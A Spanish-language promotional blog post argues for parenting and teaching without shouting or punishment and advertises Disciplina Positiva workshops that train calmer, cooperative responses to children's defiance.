“Sin gritos, sin castigos”
¿Alguna vez te has parado a pensar “cómo lo podríamos hacer para que no acabemos siempre en peleas” o “ cuál será la manera para no perder la paciencia” cuando te sacan de tus casillas?
En esos momentos en los que ya la has perdido es difícil pensarlo porque tu cerebro racional está “desactivado” temporalmente, pero en los momentos en los que ya recuperaste la calma te lo puedes plantear e intentar dar respuesta, habitualmente no la encontramos porque estamos tan acostumbrados a actuar de esa forma que nos resulta imposible ver que hay otras maneras posibles y eficaces.
A la mínima situación de inquietud o reto (una protesta, un desdén, un capricho, una mala contestación…) reaccionamos en posición de defensa desde nuestro puesto de “adulto/madre/padre/jefe” y ,si llega a ser necesario, de contraataque.
La idea es “no voy a dejar que desobedecezcas” , “ no vas a tener el poder”, “eres un crio y no tienes ni idea”, “no dejaré que me sigas faltando al respeto”…o algo similar. En resúmen que “vamos a ganar nosotros sí o sí”.
Pues resulta que aquí es donde está el error. Hemos puesto al hijo (o alumno) en posición de “enemigo” y además “perdedor”.
¿De verdad quieres que tu hijo sea tu enemigo?…¿de verdad queremos que sean unos perdedores?
Puedo asegurar que es posible una educación sin castigos, porque realmente no son necesarios, y que con ellos desaparecen también los gritos, las rabias, las amenazas, los juicios morales… Está demostrado que el castigo sólo sirve para generar a largo plazo: rebeldía, resentimiento, revancha y retraimiento.
La clave está en nuestra actitud. En nuestra respuesta ante esos estímulos que para ellos, y según su etapa del desarrollo, son inevitables. A ellos tampoco les gusta estar así, ni reaccionar así, no es agradable para nadie, pero si cuando lo hacen entramos al juego y marcamos reglas erradas con esas mismas reglas esperarán jugar cada partida con nosotros.
Con los talleres de Disciplina Positiva entrenamos otras formas de hacerlo. Maneras de ser respetuosos con ellos, con nosotros mismos y con las necesidades de cada situación. Aprendemos a recogernos para recuperar la calma y resolver los problemas en vez de acrecentarlos, a tener a los niños y adolescentes de nuestro lado y no en el contrario. Porque es muy bonito ver crecer a tus hijos y acompañarles en el camino para que, cuando tengan tropiezos, puedan acercarse en confianza sabiendo que les vamos a poder contar cómo nosotros, en su día, “tuvimos que saltar una piedra parecida a esa”.
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